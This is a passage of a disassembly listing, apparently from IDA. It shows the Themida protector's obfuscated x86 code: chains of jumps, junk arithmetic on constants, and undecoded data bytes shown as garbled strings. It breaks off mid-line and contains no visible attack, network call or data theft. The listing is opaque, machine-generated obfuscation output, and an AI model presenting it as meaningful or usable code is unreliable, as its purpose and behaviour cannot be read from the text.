pop edx xor edx, ecx pop ecx shr edx, 5 jmp loc_5537DD ; --------------------------------------------------------------------------- loc_55241B: ; CODE XREF: Themida_:0055E0FFj mov edx, 4 jmp loc_551C7D ; --------------------------------------------------------------------------- db 53h, 0E9h, 0B5h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_55242B: ; CODE XREF: Themida_:00554371j push dword ptr [esp] mov eax, [esp] add esp, 4 push esi mov esi, esp push 4D45h mov [esp], edx mov edx, 38BC64F8h jmp loc_55762C ; --------------------------------------------------------------------------- aXs db 'XéÅÒ',0 db 0 ; --------------------------------------------------------------------------- loc_55244F: ; CODE XREF: Themida_:0055D1CAj pop esi xchg ecx, [esp] pop esp mov [esp], ebp push esp pop ebp sub esp, 4 mov [esp], eax mov eax, 13AF069Bh shl eax, 8 shr eax, 7 push eax jmp loc_55356C ; --------------------------------------------------------------------------- dd 63D368h, 240C8900h, 0DEE95752h, 0F7000090h, 0BE2E9D1h dd 0B9510001h, 5CB40F22h, 2A38E9h, 241C8B00h, 8104C483h dd 5B6A86F3h, 0D989514Ch, 89CE8956h, 8B595EF2h, 8957241Ch dd 4C781E7h, 0E9000000h, 6C90h ; --------------------------------------------------------------------------- loc_5524B8: ; CODE XREF: Themida_:0055274Ej dec esi jmp loc_55B17B ; --------------------------------------------------------------------------- loc_5524BE: ; CODE XREF: Themida_:0055A1B0j sub edi, ecx pop ecx jmp loc_55AAA5 ; --------------------------------------------------------------------------- dw 535Bh dd 63E9A9B7h, 89000126h, 5053240Ch, 0C0FE43B0h, 6A34C0FEh dd 0D0E9C788h, 520000C7h, 18E76850h, 48B1484h, 0E1895124h dd 0D8D2E9h, 1BB100h, 70459CFh, 72CF800h, 0EEE9505Bh db 0EDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_552507: ; CODE XREF: Themida_:00550C2Cj push 1CC5h mov [esp], edi push 5535h jmp loc_55F8B9 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0C6815E54h, 4, 46853h, 0E95B0000h, 0FFFFDF1Eh, 2CD3E957h dd 70B40000h, 0E480D4F6h, 0F5C480ACh, 0F658E128h, 80D9F6D1h dd 0C180D6F1h, 8BCE8813h, 0C481240Ch, 4, 595FE9h, 24348B00h dd 4C481h, 0C870000h, 104AE924h, 89520001h, 65BF57E2h dd 8169DE70h, 6123A5E7h, 0EB62E96Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552582: ; CODE XREF: Themida_:0055F44Dj pop ecx add esp, 4 add esp, 4 or edx, eax jmp loc_555D50 ; --------------------------------------------------------------------------- db 5Dh dd 75EBA52h, 11E936C5h, 8100009Dh, 4C4h, 24348700h, 0E02CE95Ch dd 4C040000h, 96E95B66h db 0ADh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5525B7: ; CODE XREF: Themida_:005548FEj add ebp, 4 add ebp, 4 push ebp jmp loc_5551DD ; --------------------------------------------------------------------------- loc_5525C9: ; CODE XREF: Themida_:00563D82j push ebx push 29672C17h mov ebx, [esp] add esp, 4 sub edx, ebx pop ebx jmp loc_554903 ; --------------------------------------------------------------------------- dd 5F7617BBh, 58C38126h, 81F5EDFAh, 0D269D1C5h, 81DD013Dh dd 0D269D1EDh, 20E95B3Dh db 35h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5525FF: ; CODE XREF: Themida_:0055D92Fj push 351D0BA7h jmp loc_556791 ; --------------------------------------------------------------------------- loc_552609: ; CODE XREF: Themida_:00560C70j sub ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_55FFCE ; --------------------------------------------------------------------------- dw 0BE56h dd 59810D92h, 0F65DE3B9h, 54E9819Eh, 2913EF6Ch, 54C181F1h dd 5E13EF6Ch, 159CF29h, 0E9525FFBh, 12A78h, 0C281E289h dd 4, 4C281h, 14870000h, 94E95C24h, 59000088h, 0EB81F329h dd 3A8582Dh, 0E9C3015Eh, 104F5h aM0SAiiaIsF db '¬0ØS³Å€ë¨€Ëié¾”',0 ; DATA XREF: Themida_:0054FFCCo dd 83083500h, 5CE9F2F3h, 0E9000126h, 0FFFFDA0Fh, 2BAh dd 5AD00100h, 0E9240487h, 55F0h, 81E18951h, 4C1h, 4E98100h dd 0E9000000h, 11F93h, 0E9D5295Ah, 0FFFFF676h, 5008C681h dd 0EE81445Eh, 29507EFEh, 55E2E9h, 5E0C100h, 0FFDA94E9h dd 5AD788FFh, 8C7E9h, 20162C00h, 896858C3h, 89000068h dd 0C1B5240Ch, 6BE95366h, 5A00009Bh, 7782E681h, 0F6814F84h dd 640E2BF4h, 14E9F289h, 0B80000DDh, 214A6DADh, 7C2F3C35h dd 323F3512h, 0DE05182Dh, 2D258251h, 0E43E8700h, 7A9EE9h dd 59CB3100h, 2528BA52h, 0DAF70AB4h, 28A2E9h db 0 ; --------------------------------------------------------------------------- loc_55272D: ; CODE XREF: Themida_:0055A319j pop esi mov dx, [esp] push edx mov edx, esp add edx, 4 push 2747h mov [esp], esi mov esi, 2 push esi mov esi, 598020F4h jmp loc_5524B8 ; --------------------------------------------------------------------------- db 1 aSl db 'Îé«&',0 align 2 dw 2489h dd 24048324h, 0C1815904h, 4, 8B37E9h, 0C4815C00h, 4, 2437C92Dh dd 242C8144h, 70317B74h, 50240401h, 317B7468h, 0EC835870h dd 241C8904h, 0B6EEE9h, 0EF315900h, 5D2434FFh, 104C483h dd 243C8BFEh, 5104C483h, 534BE56h, 0C68144E6h, 659330Ah dd 0C8CCE81h, 0ADE9077Bh, 5C00005Ch, 5E8AE9h, 79336800h dd 0FDE90000h, 5E000044h, 348BF729h, 4C48324h, 2474FF57h dd 0CFE95F04h, 55000015h, 200931BDh, 7ABA5233h, 81286232h dd 250F12CAh, 19F5E978h, 48F0000h, 24048124h, 4, 8124148Bh dd 4C4h, 0D9BE5600h, 8136AE3Bh, 0AE3BDDF6h, 5EF20136h dd 5602C283h, 0E904EC83h, 6D09h, 243C895Ch, 855FC2BFh dd 0BFE95573h db 0B1h, 2 dup(0) byte_552837 db 0ACh ; DATA XREF: Themida_:0054FEE0o dd 0C8E95F04h, 0BF000056h, 0C37661Ch, 22C7CF81h, 0F78133F8h dd 3EBE426Ch, 68ACE781h, 0B951269Dh, 3D9B1AA9h, 50CBBE56h dd 0FCE96392h db 0FAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_552867: ; CODE XREF: Themida_:0055209Ej xor [esp], ecx xor ecx, [esp] pop esp jmp loc_553493 ; --------------------------------------------------------------------------- db 0B8h dd 2, 278CE9h db 0 ; --------------------------------------------------------------------------- loc_55287D: ; CODE XREF: Themida_:00562F60j add edx, 4 xchg edx, [esp] jmp loc_5579BB ; --------------------------------------------------------------------------- aSA0Fxh@ db 'S³Ì°í0Ø[',8,'ÁfXh@|',0 align 4 dd 68241C89h, 1D7Ch, 0B2241489h, 0B3F2809Dh, 148BD788h dd 4C48324h, 52A6C780h, 0F70001B6h, 0FFDEC7E9h, 241C89FFh dd 1F8BE9h, 0FFE95700h, 88000088h, 0F88850D7h, 0CEE9C188h db 0ABh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5528DB: ; CODE XREF: Themida_:0055DC2Dj add [esp+4], edx pop edx push dword ptr [esp] jmp loc_564A38 ; --------------------------------------------------------------------------- aSqa db '[éŸA',0 align 2 loc_5528EE: ; CODE XREF: Themida_:00559922j push edx mov edx, esp add edx, 4 push ecx mov ecx, 4 add edx, ecx pop ecx xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push edx jmp loc_550F0E ; --------------------------------------------------------------------------- dd 97E9E104h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552917: ; CODE XREF: Themida_:0056456Dj add ebp, 4 xchg ebp, [esp] jmp loc_55F75D ; --------------------------------------------------------------------------- dw 815Fh dd 0FD3A08C3h, 0EFF38145h, 891E2F39h, 0F312E9D9h, 0C588FFFFh dd 0F4B8E9h, 66576600h, 0FE243481h, 9592E91Eh, 0E9570000h dd 40A6h, 4244481h, 1E516D17h, 4247401h, 4246C81h, 1E516D17h dd 2434FF5Eh, 0E089505Eh, 405h, 4BB5300h, 1000000h, 0F5DBE9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55297E: ; CODE XREF: Themida_:00561620j mov edx, [esp] jmp loc_5548DB ; --------------------------------------------------------------------------- dw 489h dd 4BF5724h, 51000000h, 0F9E9F989h, 81000105h, 2ECh, 0C896600h dd 0E348E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5529A6: ; CODE XREF: Themida_:0055B29Fj sub esp, 4 mov [esp], ebx mov ebx, 792A291Eh jmp loc_5609E9 ; --------------------------------------------------------------------------- dw 0CF05h dd 1135F48h, 48CF2DD8h, 835B135Fh, 48704C0h, 24248B24h dd 626368h, 24148900h, 6BE9E289h, 89000105h, 0BA525AD6h dd 131B5DBCh, 5EAC142h, 0BA2E9h db 0 ; --------------------------------------------------------------------------- loc_5529ED: ; CODE XREF: Themida_:00557413j mov esi, esp jmp loc_56186C ; --------------------------------------------------------------------------- loc_5529F4: ; CODE XREF: Themida_:005517A2j push ecx push ebp mov ebp, 4E77258Ch sub ebp, 6B732DBAh jmp loc_5543F7 ; --------------------------------------------------------------------------- dw 0C381h dd 2511E608h, 315BDD89h, 0FB895DEFh, 105A3E9h db 0 ; --------------------------------------------------------------------------- loc_552A19: ; CODE XREF: Themida_:0055E993j xor esi, 0D924A5FEh jmp loc_55DFB0 ; --------------------------------------------------------------------------- dd 0F800BE04h, 12C59E9h, 0C335A00h, 240C3124h, 0E9240C33h dd 2206h, 0FF871C88h, 1C8B2434h, 4C48124h, 50000000h, 111B3E9h dd 4C38100h, 55000000h, 5D9ABDh, 9EF58154h, 154005Dh, 1C875DEBh dd 24248B24h, 183E9h, 2434FF00h, 8B545359h, 0D5E9241Ch dd 89000044h, 0C1E9242Ch, 0E9FFFFD6h, 0FFFFD60Bh dword_552A8C dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 3D8Fh, 7E3C685Bh ; DATA XREF: Themida_:00550024o dd 0C890000h, 0F1AFE924h, 0C3810000h, 4, 4178BD55h, 0CD814604h dd 16F76013h, 7638CD81h, 0ED8140EAh, 76DA2406h, 5371ED81h dd 0DBE9E025h db 0F3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552AD3: ; CODE XREF: Themida_:00562644j push esi mov esi, esp add esi, 4 push eax mov eax, 4 jmp loc_55DC39 ; --------------------------------------------------------------------------- db 8Bh dd 0E9532404h, 0A1A1h, 8011CDBBh, 37C3816Dh, 2D927FEEh dd 0DB651E5h, 5AE9D801h, 33000013h, 0E95C2404h, 0FFFFF158h dd 0E9243C89h, 115DFh, 81242489h, 42404h, 34FF0000h, 89565E24h dd 4C681E6h, 52000000h, 4BAh, 0E9D60100h, 16E3h, 6F53B8B8h dd 8813E907h, 0C890000h, 4F236824h, 24890000h, 24048124h dd 4, 44BCE9h, 5CE95800h, 81000009h, 861313F2h, 0ACEA8141h dd 81000234h, 0F8FB03C2h, 0E9D031CDh, 0AC4Fh ; --------------------------------------------------------------------------- loc_552B7C: ; CODE XREF: Themida_:005566A7j push dword ptr [edi+1Ch] push dword ptr [esp] mov eax, [esp] add esp, 4 push 4CC3h mov [esp], edx mov edx, esp sub esp, 4 jmp loc_5655F3 ; --------------------------------------------------------------------------- byte_552B9D db 0FFh, 34h, 24h ; DATA XREF: Themida_:0054FEF8o dd 1041DE9h db 0 ; --------------------------------------------------------------------------- loc_552BA5: ; CODE XREF: Themida_:005605B1j mov edx, esp jmp loc_561648 ; --------------------------------------------------------------------------- dd 0A176852h, 0FBE90000h, 66000024h, 0B83EF81h, 0FFFD7CE9h db 0FFh ; --------------------------------------------------------------------------- loc_552BC1: ; CODE XREF: Themida_:005605F3j mov eax, [esp] jmp loc_557CB9 ; --------------------------------------------------------------------------- aZ4Sgk db '‡4$\éGŠ',0 align 2 aSe_1 db '[éEÑ',0 align 4 dd 4244C01h, 14B0E959h db 1, 0 ; --------------------------------------------------------------------------- loc_552BE2: ; CODE XREF: Themida_:0055EFE6j add edi, ebx pop ebx add edi, 4 xchg edi, [esp] pop esp jmp loc_55B958 ; --------------------------------------------------------------------------- dd 5C24048Fh, 0E9240431h, 792Ch ; --------------------------------------------------------------------------- loc_552C00: ; CODE XREF: Themida_:0055590Fj push edi jmp loc_55F48A ; --------------------------------------------------------------------------- dw 0CB01h aYh? db 'Yh×?',0 align 2 dw 1C89h dd 2474FF24h, 0B1E95B04h, 890000BFh, 0DD89242Ch, 14E9EE89h dd 830000A8h, 48904ECh, 4B95124h, 0E9000000h, 4B7Fh, 0E9D7F766h dd 7315h, 5C243C87h, 66F83166h, 0E9243C8Bh, 0E19Bh, 0E904C483h dd 1CBEh, 33243431h, 248B2434h, 4D36624h, 2CE99C24h db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552C6B: ; CODE XREF: Themida_:00560F67j push dword ptr [esp+4] push dword ptr [esp] pop edx sub esp, 4 mov [esp], edx jmp loc_55BDA2 ; --------------------------------------------------------------------------- dw 0B151h dd 64F180EDh, 5344F180h, 5091B450h, 0E78822B4h, 0D90EE9h db 0 ; --------------------------------------------------------------------------- loc_552C95: ; CODE XREF: Themida_:0055A703j mov esi, 3E3D161Fh shl esi, 5 shl esi, 2 jmp loc_56466E ; --------------------------------------------------------------------------- loc_552CA5: ; CODE XREF: Themida_:0055B7AAj mov edi, [esp] jmp loc_563095 ; --------------------------------------------------------------------------- loc_552CAD: ; CODE XREF: Themida_:005608B0j sub esi, 79E84F10h sub esi, edx add esi, 79E84F10h push 3B1h jmp loc_555F27 ; --------------------------------------------------------------------------- loc_552CC5: ; CODE XREF: Themida_:00556923j mov ebx, [esp] jmp loc_5533E3 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 0E904C483h, 0FFFFD3BFh, 4A34BDBBh, 814B4B5Ah, 4A34BFF3h dd 5BDD015Ah, 4BB53h, 0DD010000h, 81241C8Bh, 4C4h, 242C8700h dd 0BBE9515Ch, 0BB00000Fh, 0E060A7Dh, 0C381D3F7h, 0E060A82h dd 335BDE01h, 34312434h, 24343324h, 5BD8285Ch, 0EC815253h dd 4, 0E622E9h, 0EDC14D00h, 0F9ED8108h, 0E9790309h, 5964h dd 32E9EE89h, 0FF000003h, 51592434h, 0BA525954h, 4, 74E9D101h dd 0E900008Ah, 0FFFFD33Bh ; --------------------------------------------------------------------------- loc_552D5C: ; CODE XREF: Themida_:0055577Ej push edx jmp loc_55CD21 ; --------------------------------------------------------------------------- dw 0C483h dd 4C58104h, 68000000h, 45B6h, 0B9240C89h, 4, 54B2ED81h dd 0CD0111FBh, 86E5E9h, 14896600h, 9C506624h, 0FFE65FE9h db 0FFh ; --------------------------------------------------------------------------- loc_552D91: ; CODE XREF: Themida_:00557432j xor esi, [esp] mov esp, [esp] sub edx, 303D4DAAh add edx, edi add edx, 303D4DAAh mov [edx], al push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 jmp loc_550097 ; --------------------------------------------------------------------------- db 55h dd 0FA16E268h, 0C5815D51h, 0D8BF4910h, 0E95DEE89h, 0D28Bh dd 50E9D828h, 0D00011Eh, 3422303Ch, 4FE7E9h, 0F0285800h dd 4F8005Ah, 1C8B663Dh, 2C48324h, 0AD14E951h, 0C8B0000h dd 0E3DFE924h, 0FA680000h, 8900001Ah, 0E589242Ch, 0B9C5E9h dd 5EF02100h, 1D52E9h db 0 ; --------------------------------------------------------------------------- loc_552E15: ; CODE XREF: Themida_:00564EDDj mov esi, [esp] push edx mov edx, esp jmp loc_55F551 ; --------------------------------------------------------------------------- loc_552E20: ; CODE XREF: Themida_:00564AABj pop ebx push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] push 6B58h mov [esp], ecx push esp mov ecx, [esp] add esp, 4 jmp loc_5506D0 ; --------------------------------------------------------------------------- db 81h, 0F5h, 0E0h dd 814C9637h, 0BC29E1E5h, 0AFF58177h, 0C11D507Bh, 0ED8105E5h dd 54AD6DEh, 0A5E9E829h, 81000078h, 11868FEFh, 5FFA89A8h dd 319EC681h, 0D6010B22h, 319EEE81h, 148B0B22h, 4C48324h dd 2474FF56h, 0EEB5E904h, 0D301FFFFh, 2E56E9h db 0 ; --------------------------------------------------------------------------- loc_552E91: ; CODE XREF: Themida_:00555F7Bj jmp loc_550097 ; --------------------------------------------------------------------------- loc_552E96: ; CODE XREF: Themida_:00560EB4j xchg ebp, [esp] pop esp mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] sub esp, 4 mov [esp], edi mov edi, esp jmp loc_563A36 ; --------------------------------------------------------------------------- loc_552EB4: ; CODE XREF: Themida_:0055352Ej pop edx add ebx, eax push esi mov esi, 798B3E56h and esi, 20D24980h shr esi, 1 jmp loc_55C1EA ; --------------------------------------------------------------------------- dw 0C781h dd 4, 0E9243C87h, 0EEDBh ; --------------------------------------------------------------------------- loc_552ED8: ; CODE XREF: Themida_:00560790j pop esi xchg edx, [esp] jmp loc_55DE01 ; --------------------------------------------------------------------------- aFsFqsg db 'fS³ÃfQéG±',0 align 4 dd 0C581E589h, 4, 4BA52h, 0D5010000h, 242C875Ah, 4EC835Ch dd 54243489h, 0FFF049E9h, 46853FFh, 5B000000h, 1C8BDE01h dd 4C48124h, 81000000h, 4C6h, 24348700h, 4E96685Ch, 34890000h dd 3B7E924h, 92B60000h, 7AC180h, 7AE980F1h, 24148B66h dd 8002C483h, 148B75C1h, 0CC14E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552F52: ; CODE XREF: Themida_:005537D8j sub ebp, 0FFFFDDA8h sub esi, ebp jmp loc_565085 ; --------------------------------------------------------------------------- aXBOO1BXusgc db 'Áå',7,'ÅÞo^o1ê]ê',1Bh,'É•žé£C',0 align 2 dw 874Bh dd 0D1D2F7DAh, 16C281E2h, 813E6E54h, 206BFEF2h, 8A75E916h dd 0E95D0000h, 0CD2Dh, 0E9E08950h, 0D713h, 0C780CFFEh dd 0ADF7806Dh, 0BC63E9h, 4BB00h, 1BE90000h, 0F600005Dh dd 54C480DCh, 8004E4C0h, 0EC80CDE4h, 4C8068EDh, 5FE90000h dd 8B000097h, 0FAE92424h, 68000022h, 4C464DACh, 81D7F75Fh dd 0AFE158F7h, 8BFE89B3h, 0C483243Ch, 0CDC68104h, 0E928A40Ah dd 0FFFFE1BBh ; --------------------------------------------------------------------------- loc_552FF4: ; CODE XREF: Themida_:00551AA6j sub ecx, 221D1D24h add ecx, 78420886h push edi mov edi, 5FF507DCh sub edi, 65D9156Dh xor edi, 0FCF4F01Eh sub ecx, edi mov edi, [esp] add esp, 4 mov dword ptr [ecx], 0 jmp loc_55AA5D ; --------------------------------------------------------------------------- aWtsg db 'WTégÌ',0 db 0 ; --------------------------------------------------------------------------- loc_55302F: ; CODE XREF: Themida_:00555576j sub ebx, eax mov eax, [esp] add esp, 4 jmp loc_556862 ; --------------------------------------------------------------------------- dd 148BD601h, 4C48124h, 51000000h, 1329E9h, 8BC10100h dd 0E3E92404h, 580000CBh, 0D28BED81h, 0E9010724h, 8B2434FFh dd 2DE9242Ch, 0B9000115h, 4, 0FFD28DE9h, 5EF089FFh, 0E9C5315Dh dd 9621h, 0E966EB80h, 2A02h, 4C381h, 0EB830000h, 241C8704h dd 242C895Ch, 4DE9E9h, 24148900h, 8C2AD3BAh, 8BD5291Bh dd 0C4832414h, 2C875E04h, 24248B24h, 9CC83B66h, 0FFCFDAE9h dd 0F2015FFFh, 1C2EC281h, 0C28130D3h, 63315D7h, 8124348Bh dd 4C4h, 0E9C22900h, 335Bh, 2424895Ch, 4EC81h, 0F7E90000h dd 810000C7h, 4ECh, 24148900h, 0BF7AE2BAh, 5AD62965h, 20B9CE81h dd 14E952A4h, 8B000099h, 0C4812404h, 4, 81665366h, 630E2404h dd 243C8B66h, 2C481h, 0C7E90000h, 81000037h, 0CF7A2ECEh dd 8B94E92Dh, 0C4830000h, 6FEA6804h, 34890000h, 26824h dd 88E90000h, 83FFFFF6h, 20E904C4h db 0EFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55314F: ; CODE XREF: Themida_:005542B6j mov ecx, esp jmp loc_561550 ; --------------------------------------------------------------------------- dw 9704h aSAuAV db 'S³»€ã±€ÃV',0 dw 5BD8h dd 6824148Bh, 39B1h, 89242C89h, 4C581E5h, 83000000h, 0F0E904C5h db 8Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55317F: ; CODE XREF: Themida_:0055EEB3j xchg ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp push esp pop ebp push esi mov esi, 4 add ebp, esi pop esi jmp loc_55E24A ; --------------------------------------------------------------------------- aQs db 'Qé\Â',0 dd 0D6E95F00h, 680000A6h, 65E3h, 83241C89h, 36E904ECh dd 500000E2h, 0B0462CB8h, 538A0D7Fh, 70E9234Ch db 0Ah, 1, 0 ; --------------------------------------------------------------------------- loc_5531C7: ; CODE XREF: Themida_:0055D552j push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov [esp], ebx mov ebx, 6CFB2CE3h xor edi, ebx push dword ptr [esp] pop ebx add esp, 4 push 29E6h mov [esp], eax push edx push 79576981h pop edx push 53Dh mov [esp], eax mov eax, 482C5918h add eax, 64283B89h not eax xor eax, 913418Ch xor eax, 650A47CAh jmp loc_5570A2 ; --------------------------------------------------------------------------- db 0FFh dd 835A2434h, 348904ECh, 68E68924h, 2889h, 0F96FE9h, 24048900h dd 31E95854h db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553233: ; CODE XREF: Themida_:00553483j xor [esp], edx xor edx, [esp] jmp loc_563E1B ; --------------------------------------------------------------------------- dw 205h aWCwqs?v db 'wÄCWQé?v',0 align 2 dw 0ED81h dd 0CC94C77Ah, 110E7E9h, 2434FF00h, 0E789575Dh, 914DE9h dd 24348B00h, 311FE9h, 24343100h, 5C243433h, 11CFFE9h db 0 ; --------------------------------------------------------------------------- loc_553275: ; CODE XREF: Themida_:0055555Cj mov [esp], ecx mov ecx, 477F6A5Bh xor eax, ecx pop ecx add ebx, 2BB1714Eh add ebx, 1C97332Fh add ebx, 536A4C13h jmp loc_564437 ; --------------------------------------------------------------------------- byte_553297 db 8Fh ; DATA XREF: Themida_:0054FF90o dd 0CDF9E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55329E: ; CODE XREF: Themida_:0055E5F4j push dword ptr [esp] mov esi, [esp] jmp loc_5519DE ; --------------------------------------------------------------------------- db 5Dh, 87h, 1Ch dd 24248B24h, 173BE9h, 0B60F6600h, 9C5166C8h, 0FFCDD6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5532C1: ; CODE XREF: Themida_:00555D4Bj pop esi push 7C29h mov [esp], ebx sub esp, 4 mov [esp], ebp mov ebp, 73316E4h mov ebx, 3DFA7F16h xor ebx, ebp pop ebp sub edx, 3769362Fh add edx, ebx jmp loc_55DFF8 ; --------------------------------------------------------------------------- aTSd? db 'T^éD?',0 align 4 loc_5532F4: ; CODE XREF: Themida_:0055EAACj add eax, 433B184h jmp loc_5644DC ; --------------------------------------------------------------------------- dw 2489h dd 24048124h, 4, 0A7BE5659h, 810FC06Ch, 0F34089EEh, 4EC816Eh dd 89000000h, 0B9240Ch, 81327E65h, 173CADC1h, 0F7E98115h dd 0F750E206h, 0B239E9D9h, 6FBB0000h, 2961030Eh, 241C8BD8h dd 0FFFAB9E9h db 0FFh ; --------------------------------------------------------------------------- loc_553345: ; CODE XREF: Themida_:00555324j mov eax, [esp] add esp, 4 sub eax, esi pop esi mov ebp, [esp] add esp, 4 shl eax, cl sub esp, 4 mov [esp], ecx mov ecx, 0FFFFFFFFh jmp loc_559603 ; --------------------------------------------------------------------------- db 52h, 68h, 0DAh dd 0FF54B86Bh, 148B2434h, 4C48124h, 0E9000000h, 0FFFFD53Eh ; --------------------------------------------------------------------------- loc_553380: ; CODE XREF: Themida_:0055375Bj push 1 push dword ptr [esp] jmp loc_553F74 ; --------------------------------------------------------------------------- loc_55338D: ; CODE XREF: Themida_:00560B4Bj mov eax, [esp] add esp, 4 push 24Bh jmp loc_561FAB ; --------------------------------------------------------------------------- loc_5533A0: ; CODE XREF: Themida_:0055BB99j push 6650h mov [esp], edx push eax mov eax, 627E380Ch xor eax, 4AF2CDCh sub esp, 4 mov [esp], ebx push ebp push 4A36212Dh jmp loc_5540F9 ; --------------------------------------------------------------------------- loc_5533C7: ; CODE XREF: Themida_:00551617j xor [esp], ebx xor ebx, [esp] xor [esp], ebx mov eax, [esp] jmp loc_554F33 ; --------------------------------------------------------------------------- loc_5533D8: ; CODE XREF: Themida_:0055B11Fj and edx, 30AE545Eh jmp loc_55FC15 ; --------------------------------------------------------------------------- loc_5533E3: ; CODE XREF: Themida_:00552CC8j add esp, 4 and ecx, eax push dword ptr [esp] pop eax push esi push esp pop esi push ebx mov ebx, 7E802465h xor ebx, 379359C0h jmp loc_55A262 ; --------------------------------------------------------------------------- dd 4B9h, 0CFAFE900h, 0E589FFFFh, 4C581h, 0B8500000h, 4 dd 98E9C529h, 81000059h, 7F4F69E3h, 42CB814Bh, 81129927h dd 0F9674FF3h, 5BDD011Ah, 93FE9h db 0 aPhil db 'Phˆl',0 ; DATA XREF: Themida_:0054FEECo dw 8900h dd 77E92434h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_553447: ; CODE XREF: Themida_:005523C5j push ebx jmp loc_553BF0 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 2414895Ch, 24BAh, 50FA0100h, 51B6E9h db 0 ; --------------------------------------------------------------------------- loc_553461: ; CODE XREF: Themida_:00560235j pop ecx push dword ptr [esp] mov edx, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push 92Eh mov [esp], edx jmp loc_553233 ; --------------------------------------------------------------------------- dd 485FBE56h, 1FE93359h db 95h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553493: ; CODE XREF: Themida_:0055286Ej push ebx push 60BC4C94h pop ebx sub edi, 541B075Eh jmp loc_55C92F ; --------------------------------------------------------------------------- db 66h, 0F7h, 0D2h dd 76B96651h, 0E9D1662Dh, 81664966h, 6687F9F1h, 0F7E9CA31h db 0FAh, 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_5566EA ; --------------------------------------------------------------------------- db 0C1h, 0E7h, 5 aWsep db 'Wé¥P',0 align 2 dw 2166h dd 2D665AD0h, 81668B48h, 6616FAC3h, 8166C301h, 0E916FAEBh dd 0FFFFFC17h, 4C581h, 51520000h, 4B9h, 59CA8900h, 0FFDFB0E9h dd 48F5AFFh, 0CD10E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55350E: ; CODE XREF: Themida_:005645F6j mov dl, [esp+4] jmp loc_559F00 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832434h, 0F2295A04h, 0B530E9h db 0 ; --------------------------------------------------------------------------- loc_553525: ; CODE XREF: Themida_:0056234Cj inc edx add edx, 0B152230Dh add ebx, edx jmp loc_552EB4 ; --------------------------------------------------------------------------- loc_553533: ; CODE XREF: Themida_:0055B6DEj push 3386h jmp loc_55A0D2 ; --------------------------------------------------------------------------- db 81h, 0EFh, 6Bh dd 81598C2Ah, 783080C7h, 81C70114h, 783080EFh, 0BD555014h dd 616B7C52h, 0D5DE889h, 0EA127F6h, 44BD5557h, 0E946323Ch dd 233Eh ; --------------------------------------------------------------------------- loc_55356C: ; CODE XREF: Themida_:0055246Bj not dword ptr [esp] pop eax jmp loc_55E133 ; --------------------------------------------------------------------------- db 0B9h, 0DCh, 25h dd 0C8014D9Ah, 0B89DE9h, 3AED8100h, 891D1A20h, 14E95DEBh dd 57000006h, 0FC54E9h, 0B8505500h, 3B4B7602h, 7BC8E9h dd 0A6B25200h, 8008E2C0h, 0F28023E2h, 80CAFEC2h, 0EDE978EAh db 1Ah, 1, 0 byte_5535B7 db 66h ; DATA XREF: Themida_:0054FF5Co dd 0E9240C8Bh, 0EA3Fh, 24048F54h, 0FFD2BAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5535C9: ; CODE XREF: Themida_:0055D60Bj push ebp push 14CD35B9h pop ebp push ebp mov ebp, 64193B80h jmp loc_55E0CF ; --------------------------------------------------------------------------- aIIxqFwSnj db '‰,$‰åQ¹ fw!é¦',0 dw 8000h dd 596604C7h, 0E986EF80h, 0EAC6h, 0EA81DAF7h, 5B70768h dd 1E7BC281h, 0C281734Ah, 0B7F6F85Ah, 875AD129h, 248B240Ch dd 242C8924h, 0FB001FBDh, 0FE07E969h, 0CF090000h, 2744E9h db 0 ; --------------------------------------------------------------------------- loc_553629: ; CODE XREF: Themida_:0055602Dj neg ebx push eax mov eax, 55145CBh jmp loc_55C336 ; --------------------------------------------------------------------------- dw 0CE2Dh dd 312D19BDh, 0DEF758C6h, 0AC6814Eh, 545C721h, 7881278Dh dd 48399005h, 2DF0013Fh, 3F483990h, 0FEA2E9h, 22C58100h dd 55B05FC0h, 8762E9h, 6014B800h, 4401174Fh, 48B0824h dd 4C48124h, 1000000h, 8104244Ch, 1404246Ch, 57174F60h dd 10134E9h, 6BF38100h, 0E93EC028h, 0B862h, 0C781D701h dd 4FBB7DD2h, 243C875Ah, 8610E9h, 240C8900h, 0C181E189h dd 4, 115A7E9h, 4EB8100h, 33000000h, 1C31241Ch, 241C3324h dd 2404895Ch, 0FFC9C6E9h db 0FFh byte_5536D1 db 0ADh, 81h, 0ECh ; DATA XREF: Themida_:0055004Co dd 4, 81243C89h, 4ECh, 24348900h, 0FDC1E951h, 0E9580000h dd 0A5AAh, 0E924148Bh, 6EFBh ; --------------------------------------------------------------------------- loc_5536F8: ; CODE 